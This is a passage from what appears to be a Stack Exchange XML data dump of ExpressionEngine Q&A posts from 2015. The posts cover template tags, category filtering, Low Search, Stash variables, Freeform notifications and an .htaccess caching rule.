href=&quot;/nl/blog/entry/{url_title}/&quot;&amp;gt;&amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&amp;lt;/a&amp;gt;&#xA;        {if:else}&#xA;            &amp;lt;a href=&quot;/blog/entry/{url_title}/&quot;&amp;gt;&amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&amp;lt;/a&amp;gt;&#xA;        {/if}&#xA;    {/categories}           &#xA;&#xA;    &amp;lt;h5&amp;gt;{entry_date format=&quot;%j %M %Y&quot;}&amp;lt;/h5&amp;gt;&#xA;    {if summary != &quot;&quot;}&amp;lt;p&amp;gt;{summary}&amp;lt;/p&amp;gt;{if:else}&amp;lt;p&amp;gt;{entry}&amp;lt;/p&amp;gt;{/if}&#xA;&amp;lt;/div&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You would then be able to create another categories tag pair to show your normal categories just limit it to your other category groups.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-02-23T19:42:12.687" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30202" PostTypeId="2" ParentId="30196" CreationDate="2015-02-23T19:44:36.933" Score="0" Body="&lt;p&gt;This worked (I was missing the {categories} tag.  [Note, I also had to be sure to have a template fr/blog that worked the same way as /blog]: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:channel:entries channel=&quot;blog&quot; dynamic=&quot;no&quot;}&#xA;                    &amp;lt;div class=&quot;blog-entry&quot;&amp;gt;&#xA;                        &amp;lt;img src=&quot;{main-image}&quot; alt=&quot;{title}&quot;&amp;gt;&#xA;        {categories}&#xA;         {if category_id == &quot;41&quot;}&#xA;           &amp;lt;a href=&quot;/fr/blog/entry/{url_title}&quot;&amp;gt;&amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&amp;lt;/a&amp;gt;&#xA;        {if:elseif category_id == &quot;42&quot;}&#xA;            &amp;lt;a href=&quot;/nl/blog/entry/{url_title}/&quot;&amp;gt;&amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&amp;lt;/a&amp;gt;&#xA;        {if:else}&#xA;           &amp;lt;a href=&quot;/blog/entry/{url_title}/&quot;&amp;gt;&amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&amp;lt;/a&amp;gt;&#xA;        {/if}       &#xA;        {/categories}   &#xA;            &amp;lt;h5&amp;gt;{entry_date format=&quot;%j %M %Y&quot;}&amp;lt;/h5&amp;gt;&#xA;                        {if summary != &quot;&quot;}&amp;lt;p&amp;gt;{summary}&amp;lt;/p&amp;gt;{if:else}&amp;lt;p&amp;gt;{entry}&amp;lt;/p&amp;gt;{/if}&#xA;                    &amp;lt;/div&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3740" LastActivityDate="2015-02-23T19:44:36.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30203" PostTypeId="1" CreationDate="2015-02-23T20:13:42.040" Score="0" ViewCount="47" Body="&lt;p&gt;I am not sure why this doesn't work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h3&amp;gt;Archives&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;            {exp:channel:month_links channel=&quot;blog&quot; limit=&quot;12&quot; category_id=&quot;41&quot; show_empty=&quot;no&quot;}&#xA;                    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path='fr/blog/archives'}&quot;&amp;gt;{month}, {year}&amp;lt;/li&amp;gt;&#xA;            {/exp:channel:month_links}&#xA;    &amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm getting archives of months that have no entries from the category show up in the ul, so if you click them, you'd get a blank page.  Why aren't they being filtered out by the 'show_empty=&quot;no&quot;' tag?&lt;/p&gt;&#xA;" OwnerUserId="3740" LastActivityDate="2015-02-23T22:17:52.797" Title="Can you limit a blog archive to a specific category?" Tags="|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30204" PostTypeId="1" AcceptedAnswerId="30205" CreationDate="2015-02-23T21:09:10.033" Score="0" ViewCount="133" Body="&lt;p&gt;I have an issue where it seems that my category images are not being parsed properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{if segment_3_category_image}&amp;lt;img src=&quot;{segment_3_category_image}&quot; alt=&quot;{segment_3_category_name}&quot; class=&quot;fright&quot; /&amp;gt;{/if}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is being rendered as:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;img src=&quot;{filedir_7}apron150x150.gif&quot; alt=&quot;Stories&quot; class=&quot;fright&quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously, it’s getting a value for the image, but the template is not parsing the &lt;code&gt;filedir&lt;/code&gt; value. Is there something that might be missing? This is sitting inside of the following page embed around &lt;code&gt;line 22&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_3 ==&quot;video-tv&quot; OR segment_3 == &quot;radio-podcasts&quot;}&#xA;        &amp;lt;div id=&quot;banner&quot;&amp;gt;&#xA;        {exp:channel:entries channel=&quot;shows&quot; limit=&quot;1&quot; disable=&quot;pagination|member_data&quot;}&#xA;            &amp;lt;div class=&quot;vid-slide&quot;&amp;gt;&#xA;                &amp;lt;a href=&quot;{title_permalink='shows/'}&quot;&amp;gt;&#xA;                {if show_screenshot}&amp;lt;img src=&quot;{show_screenshot}&quot; width=&quot;477&quot; height=&quot;260&quot; alt=&quot;{title}&quot; /&amp;gt;&#xA;                {if:elseif show_screenshot == &quot;&quot; AND segment_3 == &quot;video-tv&quot;}&amp;lt;img src=&quot;/assets/images/show/show_generic.jpg&quot; width=&quot;477&quot; height=&quot;260&quot; alt=&quot;{title}&quot; /&amp;gt;&#xA;                {if:elseif show_screenshot == &quot;&quot; AND segment_3 == &quot;radio-podcasts&quot;}&amp;lt;img src=&quot;/assets/images/show/radio_generic.jpg&quot; width=&quot;477&quot; height=&quot;260&quot; alt=&quot;{title}&quot; /&amp;gt;{/if}&amp;lt;/a&amp;gt;&#xA;                &amp;lt;div class=&quot;blurb&quot;&amp;gt;&#xA;                    &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;                    &amp;lt;p&amp;gt;{show_intro}&amp;lt;/p&amp;gt;&#xA;                    {if segment_3 == &quot;video-tv&quot;}&amp;lt;p class=&quot;button&quot;&amp;gt;&amp;lt;a href=&quot;{title_permalink='shows/'}&quot;&amp;gt;Watch Now&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;{/if}&#xA;                    {if segment_3 == &quot;radio-podcasts&quot;}&amp;lt;p class=&quot;button&quot;&amp;gt;&amp;lt;a href=&quot;{title_permalink='shows/'}&quot;&amp;gt;Listen Now&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;{/if}&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        {/exp:channel:entries}&#xA;        &amp;lt;/div&amp;gt;&#xA;{/if}       &#xA;        &amp;lt;section id=&quot;main&quot;&amp;gt;&#xA;&amp;lt;h1&amp;gt;{segment_3_category_name}&amp;lt;/h1&amp;gt;&#xA;&amp;lt;div class=&quot;divide&quot;&amp;gt;&#xA;{if segment_3_category_image}&amp;lt;img src=&quot;{segment_3_category_image}&quot; alt=&quot;{segment_3_category_name}&quot; class=&quot;fright&quot; /&amp;gt;{/if}&#xA;&#xA;{exp:low_variables:parse var=&quot;lv_shows_{segment_3}_main&quot;}&#xA;&#xA;&amp;lt;ul&amp;gt;&#xA;{exp:channel:entries channel=&quot;shows&quot; disable=&quot;member_data&quot; paginate=&quot;bottom&quot; limit=&quot;12&quot;}&#xA;&amp;lt;li&amp;gt;&amp;lt;h2&amp;gt;&amp;lt;a href=&quot;{title_permalink='shows/'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&amp;lt;p&amp;gt;{show_intro}&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&#xA;{paginate}&#xA;&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Page {current_page} of {total_pages} pages {pagination_links}&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/paginate}&#xA;{/exp:channel:entries}&#xA;&amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;/section&amp;gt;&#xA;&#xA;        &amp;lt;aside id=&quot;sidebar&quot;&amp;gt;&#xA;{exp:low_variables:parse var=&quot;lv_shows_{segment_3}_sidebar&quot;}&amp;lt;hr/&amp;gt;&#xA;{if segment_3 == &quot;video-tv&quot;}{exp:low_variables:parse var=&quot;tg_sponsors&quot;}{/if}&#xA;{gv_subscribe}&#xA;&amp;lt;br/&amp;gt;&#xA;{gv_support-efforts}&#xA;        &amp;lt;/aside&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="34" LastEditorUserId="34" LastEditDate="2015-02-24T06:16:24.827" LastActivityDate="2015-02-24T06:16:24.827" Title="Low Seg2Cat: Category Image filedir is not parsing" Tags="|categories|low-seg2cat|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30205" PostTypeId="2" ParentId="30204" CreationDate="2015-02-23T21:41:45.853" Score="3" Body="&lt;p&gt;That's looking like Low Seg2Cat. Make sure you're on the latest version and the Parse File Paths is turned on in the &lt;a href=&quot;http://gotolow.com/addons/low-seg2cat/docs#settings&quot; rel=&quot;nofollow&quot;&gt;settings&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="172" LastEditorUserId="172" LastEditDate="2015-02-23T22:11:33.430" LastActivityDate="2015-02-23T22:11:33.430" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30206" PostTypeId="1" CreationDate="2015-02-23T21:46:47.680" Score="0" ViewCount="180" Body="&lt;p&gt;This is a follow-up question related to another thread, &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/30155/combine-multiple-categories-into-one-select-option&quot;&gt;Combine multiple categories into one select option&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a Low Search form that works like a quiz, narrowing down entries within a channel through the category filter. I'm seeing an issue whereby the search results page defaults to the same result no matter which options I choose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've confirmed that the proper categories are applied to the channel entries. It doesn't &quot;remember&quot; the categories searched on and just displays the same result over and over. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At first I thought this might be a caching issue but if you visit the page linked below and then click the submit button without selecting any options you'll see results return for the &quot;1 Bedroom&quot; category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question:&lt;/strong&gt; Why are the category filters not being applied to the search query?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am on EE 2.8.1, Low Search 3.5.2 and am also using Stash, Switchee, Structure and Freebie. The query parameter is set to {freebie_3} for the form tag and the results tag. I'm guessing there is some caching issue with the template but since it's working locally I'm at a loss as to what could be different across the environments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the link to see the form in action: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://staging.l45living.com/floor-plans&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://staging.l45living.com/floor-plans&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the form code for reference (with some code removed):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:form&#xA;  form_id=&quot;submit-quiz&quot;&#xA;  query=&quot;{freebie_3}&quot;&#xA;  result_page=&quot;/floor-plans/search&quot;&#xA;}&#xA;&#xA;      &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;small-12 medium-5 columns&quot;&amp;gt;&#xA;          &amp;lt;label class=&quot;inline&quot; for=&quot;bedrooms&quot;&amp;gt;Number of bedrooms?&amp;lt;/label&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;small-12 medium-7 columns&quot;&amp;gt;&#xA;          &amp;lt;select name=&quot;category[]&quot;&amp;gt;&#xA;            &amp;lt;option value=&quot;&quot;&amp;gt;Show me all the options!&amp;lt;/option&amp;gt;&#xA;            {exp:channel:categories&#xA;              category_group=&quot;1&quot;&#xA;              show=&quot;not 4&quot;&#xA;              style=&quot;linear&quot;&#xA;            }&#xA;              &amp;lt;option value=&quot;{category_id}&quot;{if low_search_category ~ '/\b'.category_id.'\b/'} selected{/if}&amp;gt;&#xA;                {category_name}&#xA;              &amp;lt;/option&amp;gt;&#xA;            {/exp:channel:categories}&#xA;          &amp;lt;/select&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;&#xA;      &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;small-12 medium-5 columns&quot;&amp;gt;&#xA;          &amp;lt;label class=&quot;inline&quot; for=&quot;floor&quot;&amp;gt;What floor do you like?&amp;lt;/label&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;small-12 medium-7 columns&quot;&amp;gt;&#xA;          &amp;lt;select name=&quot;category[]&quot;&amp;gt;&#xA;            &amp;lt;option value=&quot;&quot;&amp;gt;Show me all the options!&amp;lt;/option&amp;gt;&#xA;            {exp:channel:categories&#xA;              category_group=&quot;2&quot;&#xA;              show=&quot;28|29|30&quot;&#xA;              style=&quot;linear&quot;&#xA;            }&#xA;              &amp;lt;option value=&quot;{category_id}&quot;{if low_search_category ~ '/\b'.category_id.'\b/'} selected{/if}&amp;gt;&#xA;                {category_name}&#xA;              &amp;lt;/option&amp;gt;&#xA;            {/exp:channel:categories}&#xA;          &amp;lt;/select&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;&#xA;      &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;small-12 medium-5 columns&quot;&amp;gt;&#xA;          &amp;lt;label class=&quot;inline&quot; for=&quot;view&quot;&amp;gt;What would you like your view to include?&amp;lt;/label&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;small-12 medium-7 columns&quot;&amp;gt;&#xA;          &amp;lt;select name=&quot;category[]&quot;&amp;gt;&#xA;            &amp;lt;option value=&quot;&quot;&amp;gt;Show me all the options!&amp;lt;/option&amp;gt;&#xA;            {exp:channel:categories&#xA;              category_group=&quot;3&quot;&#xA;              style=&quot;linear&quot;&#xA;            }&#xA;              &amp;lt;option value=&quot;{category_id}&quot;{if low_search_category ~ '/\b'.category_id.'\b/'} selected{/if}&amp;gt;&#xA;                {category_name}&#xA;              &amp;lt;/option&amp;gt;&#xA;            {/exp:channel:categories}&#xA;          &amp;lt;/select&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;&#xA;      &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;small-12 medium-5 columns&quot;&amp;gt;&#xA;          &amp;lt;label class=&quot;inline&quot; for=&quot;pets&quot;&amp;gt;Are you bringing a pet?&amp;lt;/label&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;small-12 medium-7 columns&quot;&amp;gt;&#xA;          &amp;lt;select name=&quot;category[]&quot;&amp;gt;&#xA;            {exp:channel:categories&#xA;              category_group=&quot;5&quot;&#xA;              style=&quot;linear&quot;&#xA;            }&#xA;              &amp;lt;option value=&quot;{category_id}&quot;{if low_search_category ~ '/\b'.category_id.'\b/'} selected{/if}&amp;gt;&#xA;                {category_name}&#xA;              &amp;lt;/option&amp;gt;&#xA;            {/exp:channel:categories}&#xA;          &amp;lt;/select&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;&#xA;      &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;small-12 medium-5 columns&quot;&amp;gt;&#xA;          &amp;lt;label class=&quot;inline&quot; for=&quot;lifestyle&quot;&amp;gt;What's your lifestyle?&amp;lt;/label&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;small-12 medium-7 columns&quot;&amp;gt;&#xA;          &amp;lt;select name=&quot;category[]&quot;&amp;gt;&#xA;            &amp;lt;option value=&quot;&quot;&amp;gt;No preference. I go with the flow&amp;lt;/option&amp;gt;&#xA;            {exp:channel:categories&#xA;              category_group=&quot;4&quot;&#xA;              style=&quot;linear&quot;&#xA;            }&#xA;              &amp;lt;option value=&quot;{category_id}&quot;{if low_search_category ~ '/\b'.category_id.'\b/'} selected{/if}&amp;gt;&#xA;                {category_name}&#xA;              &amp;lt;/option&amp;gt;&#xA;            {/exp:channel:categories}&#xA;          &amp;lt;/select&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;&#xA;      &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;small-8 small-centered columns&quot;&amp;gt;&#xA;          &amp;lt;button id=&quot;btn-submit-quiz&quot; type=&quot;submit&quot; class=&quot;submit&quot;&amp;gt;Find my perfect apartment&amp;lt;/button&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;    {/exp:low_search:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's the results code for reference (with some markup removed):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results&#xA;  channel=&quot;units&quot;&#xA;  orderby=&quot;title&quot;&#xA;  query=&quot;{freebie_3}&quot;&#xA;  require_all=&quot;category&quot;&#xA;  sort=&quot;asc&quot;&#xA;}&#xA;  ....    &#xA;{/exp:low_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6070" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2015-02-23T21:46:47.680" Title="Low Search category filter not returning results" Tags="|low-search|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30207" PostTypeId="2" ParentId="30198" CreationDate="2015-02-23T22:10:24.217" Score="1" Body="&lt;p&gt;The code is slow because you are &lt;a href=&quot;http://gotolow.com/blog/nesting-tags-and-performance-in-ee&quot; rel=&quot;nofollow&quot;&gt;nesting tags&lt;/a&gt;. To speed up, you'll need to un-nest which will reduce the amount of queries. The linked blog post uses PHP in the template to achieve this. Nowadays, people tend to use &lt;a href=&quot;https://devot-ee.com/add-ons/stash&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt; to do the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can't un-nest, you'll probably have to cache the hell out of that page.&lt;/p&gt;&#xA;" OwnerUserId="172" LastEditorUserId="172" LastEditDate="2015-02-23T22:34:33.400" LastActivityDate="2015-02-23T22:34:33.400" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30208" PostTypeId="2" ParentId="30203" CreationDate="2015-02-23T22:17:52.797" Score="1" Body="&lt;p&gt;According to the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/archive_month_links.html#parameters&quot; rel=&quot;nofollow&quot;&gt;list of parameters in the user guide&lt;/a&gt;, the &lt;code&gt;month_links&lt;/code&gt; tag doesn't support the &lt;code&gt;category&lt;/code&gt; parameter. You could use &lt;a href=&quot;http://gotolow.com/addons/low-yearly-archives&quot; rel=&quot;nofollow&quot;&gt;Low Yearly Archives&lt;/a&gt;, which does allow you to filter the archive links by category.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-02-23T22:17:52.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30209" PostTypeId="1" CreationDate="2015-02-23T23:09:02.340" Score="0" ViewCount="41" Body="&lt;p&gt;Hej !&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Free Form&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I know how make the notification, but how do I do it when I wanna send to the person who has wrote the from and I like to send. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;like this&#xA;Dear {first_name} {last_name}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for the email ({subject}).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We take the time to read it and then to connect you as soon as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best Regards&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the admin notification goes okey&lt;/p&gt;&#xA;" OwnerUserId="6077" LastEditorUserId="1134" LastEditDate="2015-02-24T14:08:46.627" LastActivityDate="2015-02-24T14:08:46.627" Title="Notification to the the person" Tags="|solspace-freeform|notification|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30210" PostTypeId="2" ParentId="30209" CreationDate="2015-02-23T23:50:34.963" Score="1" Body="&lt;p&gt;You need to configure a Notification for the form and the template tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See: &lt;a href=&quot;http://www.solspace.com/docs/freeform/form/#notify_user&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.solspace.com/docs/freeform/form/#notify_user&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Form Settings:&lt;/strong&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/bQdLF.jpg&quot; alt=&quot;Freeform module Form Settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Template Tags:&lt;/strong&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/38szT.jpg&quot; alt=&quot;Freeform User Notifications docs&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1134" LastActivityDate="2015-02-23T23:50:34.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30211" PostTypeId="2" ParentId="30181" CreationDate="2015-02-24T00:15:15.637" Score="0" Body="&lt;p&gt;User employs the EE member login functions. There is nothing present that overrides them. You will also use the stock &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/member/#login-form-tag&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/add-ons/member/#login-form-tag&lt;/a&gt;&#xA;The most you can do is expose the &quot;Remember Me&quot; checkbox.&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2015-02-24T00:15:15.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30212" PostTypeId="2" ParentId="30199" CreationDate="2015-02-24T00:32:15.163" Score="2" Body="&lt;p&gt;I think I've found the issue and solution. It seems &lt;em&gt;sometimes&lt;/em&gt; mod_dir will be setup to do it's thing before mod_rewrite. This means that %{REQUEST_URI} for the homepage could end up being &lt;code&gt;index.php&lt;/code&gt; instead of &lt;code&gt;/&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To account for this, I updated the the htaccess rule:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#------------------- CE Cache Static Driver -------------------&#xA;RewriteCond %{REQUEST_URI} !^/admin [NC]&#xA;RewriteCond %{QUERY_STRING} !ACT|URL [NC]&#xA;RewriteCond %{REQUEST_METHOD} !=POST [NC]&#xA;RewriteCond %{DOCUMENT_ROOT}/static_cache/ce_cache/90ba68/static%{REQUEST_URI}/index\.html -f [OR]&#xA;RewriteCond %{REQUEST_URI} ^/(?:index\.php)$&#xA;RewriteCond %{DOCUMENT_ROOT}/static_cache/ce_cache/90ba68/static/index\.html -f &#xA;RewriteRule (.*) /_static_cache_handler.php%{REQUEST_URI}/index\.html [L,QSA]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17" LastActivityDate="2015-02-24T00:32:15.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30213" PostTypeId="1" AcceptedAnswerId="30216" CreationDate="2015-02-24T09:54:23.900" Score="0" ViewCount="214" Body="&lt;p&gt;If I understand correctly then I should be able to use Stash to set a variable on Template A and then retrieve it on Template B.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Template A contains&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;testvar&quot; scope=&quot;site&quot;}foo{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Template B contains&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Var= {exp:stash:get name=&quot;testvar&quot; scope=&quot;site&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is nothing else on these templates but I don't get the value for testvar output on Template B.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2015-02-24T10:03:37.060" LastActivityDate="2015-02-24T14:01:32.830" Title="Using stash to set a variable for use across different templates" Tags="|stash|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30214" PostTypeId="1" AcceptedAnswerId="30215" CreationDate="2015-02-24T11:21:10.130" Score="3" ViewCount="389" Body="&lt;p&gt;I want to have a kind of 'trending' or 'most popular' area on my homepage which lists the top 10 most popular articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a simple way to order entries by popularity?&lt;/p&gt;&#xA;" OwnerUserId="3311" LastActivityDate="2016-02-28T16:52:57.097" Title="Order articles by Popularity" Tags="|entries|orderby|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30215" PostTypeId="2" ParentId="30214" CreationDate="2015-02-24T13:54:13.667" Score="11" Body="&lt;p&gt;Sure - first you need to &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/entry_tracking.html&quot;&gt;track views&lt;/a&gt; in order to determine popularity. So on your &quot;single entry&quot; templates, add &lt;code&gt;track_views=&quot;one&quot;&lt;/code&gt; to your &lt;code&gt;channel:entries&lt;/code&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, you can use &lt;code&gt;orderby=&quot;view_count_one&quot;&lt;/code&gt; on your &lt;code&gt;channel:entries&lt;/code&gt; listings tags.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-02-24T13:54:13.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30216" PostTypeId="2" ParentId="30213" CreationDate="2015-02-24T14:01:32.830" Score="1" Body="&lt;p&gt;If the 2 templates are not being used on the same page (via embed), try saving the stash variable so that it's stored in the database. Set refresh also for how long to store the variable.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set &#xA;    name=&quot;testvar&quot; &#xA;    scope=&quot;site&quot;&#xA;    save=&quot;yes&quot;&#xA;    refresh=&quot;60&quot;&#xA;}&#xA;    foo&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2015-02-24T14:01:32.830" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30217" PostTypeId="2" ParentId="30194" CreationDate="2015-02-24T14:04:30.227" Score="1" Body="&lt;p&gt;Ah yes - &lt;code&gt;set_flashdata()&lt;/code&gt; only works in conjunction with &lt;code&gt;ee()-&amp;gt;functions-&amp;gt;redirect()&lt;/code&gt;, as per &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/usage/session.html#flash-data-for-redirects&quot; rel=&quot;nofollow&quot;&gt;the docs&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;NOTE: Due to internal limitations this will only work in combination with the redirect method of the Functions class.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So it will not work in &lt;code&gt;sesions_start()&lt;/code&gt; or &lt;code&gt;sessions_end()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-02-24T14:04:30.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30219" PostTypeId="2" ParentId="25362" CreationDate="2015-02-24T16:32:21.923" Score="0" Body="&lt;p&gt;Be sure to click the Run Module Update under Addons -&gt; modules. Also visit the wygwam settings page. Doing these things should update the field type list in grid.&lt;/p&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2015-02-24T16:32:21.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30220" PostTypeId="1" CreationDate="2015-02-24T18:30:39.030" Score="0" ViewCount="31" Body="&lt;p&gt;The items (products) come up in alpha order currently. Is there a way to push all of the “Not in Stock” items to the end of the list when displaying entries?&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2015-02-24T20:27:43.213" Title="Expresso Store - display entries based on an availability" Tags="|expresso-store|channel-entries|entries|sort|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
